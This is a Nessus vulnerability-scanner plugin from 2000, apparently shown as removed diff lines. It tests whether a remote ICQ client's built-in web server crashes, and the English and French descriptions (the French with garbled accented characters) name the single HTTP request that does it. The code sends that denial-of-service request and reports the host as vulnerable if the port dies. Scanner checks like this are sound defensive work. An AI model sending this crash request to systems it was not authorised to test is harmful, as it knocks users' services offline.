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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
- #
- if(description)
- {
- script_id(10347);
- script_bugtraq_id(1463);
- script_cve_id("CAN-2000-0564");
- script_version ("$Revision: 1.12 $");
-
-
- name["english"] = "ICQ Denial of Service attack";
- name["francais"] = "DΘni de service ICQ";
-
- script_name(english:name["english"],
- francais:name["francais"]);
-
- desc["english"] = "
- It was possible to crash the remote ICQ client
- by connecting to port 80 and sending the request:
-
- GET /cgi-bin/guestbook.cgi?
-
-
- An attacker may use this problem to prevent you from
- working properly.
-
- Solution: deactivate the webserver service of the client
-
- Risk factor : Low";
-
- desc["francais"] = "
- Il s'est avΘrΘ possible de faire planter le client ICQ
- distant en se connectant au port 80 et en faisant la
- requΦte :
-
- GET /cgi-bin/guestbook.cgi?
-
- Un pirate peut utiliser ce problΦme pour vous empecher
- de travailler correctement.
-
-
- Solution : dΘsactivez le service 'serveur web' offert par ce client
-
- Facteur de risque : Moyen";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "ICQ denial of service";
- summary["francais"] = "DΘni de service ICQ";
- script_summary(english:summary["english"]);
-
- script_category(ACT_DENIAL);
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_require_ports(80, "Services/www");
- script_dependencies("find_service.nes");
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
- port = get_http_port(default:80);
-
-
- if (get_port_state(port))
- {
- if(http_is_dead(port:port))exit(0);
-
- soc = http_open_socket(port);
- if(soc)
- {
- req = http_get(item:"/cgi-bin/guestbook.cgi?", port:port);
- send(socket:soc, data:req);
- r = http_recv(socket:soc);
- http_close_socket(soc);
-
-
- if(http_is_dead(port:port))security_hole(port);
- }
- }
-
-